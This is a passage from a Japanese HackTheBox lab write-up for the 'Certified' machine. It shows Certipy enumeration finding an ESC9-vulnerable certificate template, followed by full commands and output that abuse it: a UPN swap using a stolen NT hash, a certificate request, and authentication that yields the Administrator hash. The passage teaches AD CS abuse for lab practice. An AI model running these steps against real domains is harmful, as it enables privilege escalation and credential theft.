Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16777216
65536
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
ESC9が使えそう。
ADCS
ESC9を実施していきます。UPNを変更できる権限を持ってるアカウントはmanagement_svcがいるのでこれで実施できそうです。詳しくは以下のHackTricksを参照しましょう。
手順ではcertipy shadow autoがあるが、すでにパスワード変更を実施してるのでハッシュを取得する必要はない。
というわけで試していく。
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# certipy account update -username 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
┌──(root㉿kali)-[~/work]
└─# certipy req -username ca_operator@certified.htb -password 'Password123!' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
adminの証明書をゲットできた。ca_operatorを元に戻しておく。
┌──(root㉿kali)-[~/work]
└─# certipy account update -username 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41
後は認証してハッシュを取得するだけ。
┌──(root㉿kali)-[~/work]
└─# certipy auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
このハッシュで侵入していく。
行けた。これでAdministratorの権限を奪取できた。
まとめ
これで特権昇格に成功し、Administrator権限奪取に成功しました。
最近ADのクレデンシャルが最初から渡されますが、それに気づかずに列挙地獄に突入することが多かったので、最初から気づけたのはデカい。
後はADCS悪用ガンガンしていくBOXで面白かったです。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。